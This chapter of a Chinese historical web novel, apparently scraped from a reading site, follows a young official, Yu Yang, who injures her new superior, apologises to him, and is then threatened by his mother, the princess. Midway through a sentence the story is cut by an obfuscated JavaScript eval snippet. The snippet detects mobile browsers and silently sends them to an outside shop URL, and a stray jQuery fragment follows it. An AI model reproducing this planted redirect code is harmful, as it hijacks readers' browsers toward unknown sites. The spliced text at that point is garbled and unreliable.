任鹊山刚踏入百庚司的大门,便被蒋弋和薛崇二人鬼鬼祟祟拖到角落,围着他神神秘秘道:“任大哥,你可知你今早告假错过多少大事!”
任鹊山因今早晨起发现女儿受寒发热,便告假半日照顾她,现在已经午时过,才回到司署。
“发生何事了?”任鹊山问道。
“今早,来了位司使!”
“司使?”
“正是,你可知那司使是谁?”蒋弋刻意卖关子,吊着他的胃口。
“谁啊?”任鹊山问道。
“恒国公府的世子!也就是永安大长公主之孙!”
恒国公世子是哪位任鹊山不一定知道,但永安大长公主之名全国上下无人不知。
闻言,他脸色骤变,拽着二人便要向外走:“那你们还不快带我去拜见司使大人!”
“诶诶诶!司使不在!”薛崇撇去任鹊山的手。
“不在?”
“这就是我要说的第二件大事了!”蒋弋清了清嗓子,压低声音道。
“那司使大人身患重病,今日刚走进司署,便被喻司直砸晕了。据说进宫请了太医,现下还未清醒呢!”
任鹊山惊愕地瞪圆了眼,“喻司直怎么砸到司使身上的?”
“说起来就气!工部送来瓦片,让我们自行修补屋顶漏洞,这不,喻司直上去修补,不慎跌下来了。”
蒋弋言罢,薛崇叹了口气,无奈摇着头,而任鹊山只为喻扬感到惋惜。
还有谁家下属会在上官上任第一天就把人砸晕的?
“我相信有件事你们肯定不知道!”蒋弋又言。
蒋弋不过十九岁,平日最喜欢打探京中的事,尤其是京中官宦贵族的私隐。
他此言一出,另外二人立时围了上去:“何事?”
“快说!别卖关子了!”
蒋弋再次压低声音,“那位司使,便是前些日子我与你们说的那位神......”
“你们在做什么?”
身后忽地传来一道厉喝,将三人惊得身躯一震。回头便见裴衍与喻扬不知何时站在廊下静静看着他们三人。
“裴司直!喻司直!”
裴衍皱着眉,语气十分无奈:“司使大人身份特殊,若让有心人得知你们背后议论上官,告到渭阳郡主和永安大长公主面前,脑袋还要不要了?”
三人哑然,不敢再言。
“喻司直先回去吧,待世子清醒过来,我再派人传信与你。”裴衍侧身劝慰她。
喻扬微点着头,目送他离开。
裴衍方离开司署,蒋弋立时凑到喻扬身侧:“喻司直,你没事吧?”
“没事......我只是头疼......”
“头疼?莫不是今早砸到头了?”任鹊山关心道。
“我倒希望一头砸晕的是我!你们说,祁司使不会记仇吧?”
“这真说不准!只是你怎么就这么凑巧?但凡砸偏一点,砸到裴司直身上,都不至于如此......”
喻扬:“......”
任鹊山“啧”了一声,随即一掌拍在蒋弋脑后,训斥他:“说什么呢,裴司直的命就不是命?”
蒋弋龇牙咧嘴,不服气反驳:“本来就是!裴司直身体好,那司使大人病殃殃的,谁知道一砸便晕!”
“好了好了,裴司直方才才警告我们,莫在背后议论上官,这几日还是老实点!”薛崇适时出声,阻止蒋弋。
喻扬叹着气,回到值房。
直至第二日,辰时方过,祁归才从昏昏沉沉的噩梦中醒来。
浑身刺骨的酸痛令他关节僵硬,难以动弹。他侧头看向榻边烧得通红的银丝炭,脑中这才有了一丝清明。
寒毒又发作了......
“公子!你醒了!”木澜端着盆热水进屋,见祁归清醒过来,立时惊声大叫。
“现在何时了?”祁归在木澜的搀扶下,勉强拖着腿,坐起身来。
“巳时,公子昏迷了一日。”木澜用帕子沾了热水,拧干后为祁归擦拭四肢。
“公子......”他欲言又止。
祁归无力地瞥他一眼,并未应他。
“郡主知道您未按时服药的事了。”
“受罚了?”
木澜动作一顿,低垂着头,轻声道:“是属下们的错,受罚是应当的。木燿多受了五鞭,昨日夜间发起热,这两日怕是不能起来了。只是,郡主命我们往后要寸步不离地照顾好公子。”
祁归依靠在身后软垫,恹恹地闭上眼。
“世子,两位自称是百庚司司直的人求见。”门外传来小厮的声音。
木澜抬眼去瞧祁归,只见他轻掀眼皮,静了片刻后道:“为我更衣吧。”
喻扬跟在裴衍身后,在小厮的带领下,走过一条又一条长廊,穿过一道又一道月洞门,在她即将转晕头时,终于进了一座名为栖竹的院落。
“世子,两位司直到了。”小厮先在门外唤了一声,随即才推开门,迎他们二人进去。
喻扬刚踏入屋中,迎面扑来股暖热的气息,屋中苦涩的药味弥漫,比那时在起驼山她闻到的味道更加苦涩。
“祁司使。”裴衍先行向里头的人行礼,喻扬也随之跟上。
祁归依旧拢着件雪白的狐裘,坐在轮椅之上,狐裘的摆便垂在脚边。
木澜将轮椅推至明间,随后又把炭炉移至祁归身侧。
“坐吧。”
喻扬悄摸看向上位的祁归,却猝不及防与他淡漠的眼神触碰到,她心头一惊,立时垂下头:“祁......祁司使,下官是登门致歉的。昨日行为有失,致司使受伤昏迷,是下官之错,请司使原谅。”
喻扬拱手,深深弯下腰,向他道歉。
这是来的道路上,裴衍教她说的。
他说只有取得祁归原谅,她才能稳住项上人头。
“我的身体问题,与喻司直无关。”
喻扬猛地一惊,抬头望去。只见那人目光沉沉,依旧落在自己身上。
他是何意?
“喻司直初入官场,尚有许多未学会的,还请司使莫怪罪她。”裴衍也出声为喻扬说情。
狐裘微动,祁归伸出苍白的手,将掌心的手炉递给木澜,“凉了。”
狭长的眼皮微垂,他半张脸拢在狐裘的毛绒之中,瞧不见他的神色。却见他轻“嗯”一声,便沉默了。
屋中静谧,只有炭盆明明灭灭中偶尔响起几道声响。
就在这时,门外响起一道轻轻的脚步声,有人停在门外,向里头的祁归行礼问安:“世子,郡主想见喻司直。”
喻扬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772627|209947||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回头望了眼,是个身材壮实的中年妇人,想必是渭阳郡主身边的嬷嬷。
木澜换了手炉中的炭,递给祁归。祁归伸手接过,指尖轻轻抚过炉子上的雕花纹路。
长久的沉寂中,他终于抬起头,向身侧的木澜递了个眼神。
木澜明了,正欲向外走,却见门外之人阻止他:“郡主说了,只见喻司直一人。”
木澜脚步骤顿,回首瞥了眼身后之人。
他垂首沉默,紧紧握着手炉。
公子生气了......
木澜默默回到祁归身边,只好向喻扬摆了摆手。
喻扬行礼辞行,便随着那位嬷嬷走了。
“郡主,人带到了。”
喻扬方踏进门,便觉一道凌厉目光落在她头顶,明明屋中温暖,她却觉得背脊泛凉。
“拜见郡主。”喻扬俯身行礼。
只闻头顶杯盏轻磕,一道淡淡的茶香味飘来。
“喻司直是施州人?”
“回郡主,正是。”
“年十七?”
“是。”
“父兄亡故,家中只有寡母孤嫂?”
“是......”
喻扬未敢抬头。她心头猛颤,闪过几丝不妙。
这是背后调查她了......
“喻司直可知,户籍造假,是死罪。”渭阳将茶盏搁在桌面上,发出沉闷的磕碰声。
这道闷声却仿佛一拳头,狠狠打在喻扬心头。
“回郡主,下官不敢。”
“抬起头来。”
喻扬起身,微微抬起头。
上首的渭阳一身锦衣华服,暗光浮动,头顶金灿灿的珠钗上镶着宝石珍珠,雍容华贵下,她那双眼眸却凌厉而冷漠,缓缓扫过喻扬的脸。
祁归与郡主,尚有几分神似......
只见她轻哼一声:“喻家收留之前,你是何人?”
“下官落水砸到脑子,已经不记得了。”
“哦?是真不知,还是假不知?”
“下官所言皆为真,不敢扯谎。”
渭阳见她姿态不卑不亢,生得清秀但未装扮,许是习武之由,眉眼间还有几分英气。
确实如木澜所说,不像是有心机城府之人。
“我听闻,我儿进京途中遇山匪劫掠,是喻司直出手相救?”
“是,不过举手之劳。”
“那你可知他病痛缠身?”
“下官有所耳闻。”
“那你还往他身上砸?”
喻扬喉间一噎,不知该如何回答。
“今日请你来,也不是想降罪于你。而是希望你明白,有些事情,我儿不计较不追问,但不代表我不计较不追问。他有任何闪失,不论是谁,我都不会放过的......”
渭阳冷冷垂下眸,最后睨她一眼,随即抬手,在嬷嬷搀扶下离开了。
喻扬在原地静默片刻,良久后,她才动了动酸涩的脖子,向外走。
“喻司直怎么了?可是郡主说了什么?”
“没有。”喻扬摇了摇头。
二人并肩,自玄武大街向百庚司走。
“渭阳郡主是皇家女,皇家威严下,你会怕也是正常。”
喻扬不想解释,沉默地与他一道儿回了司署。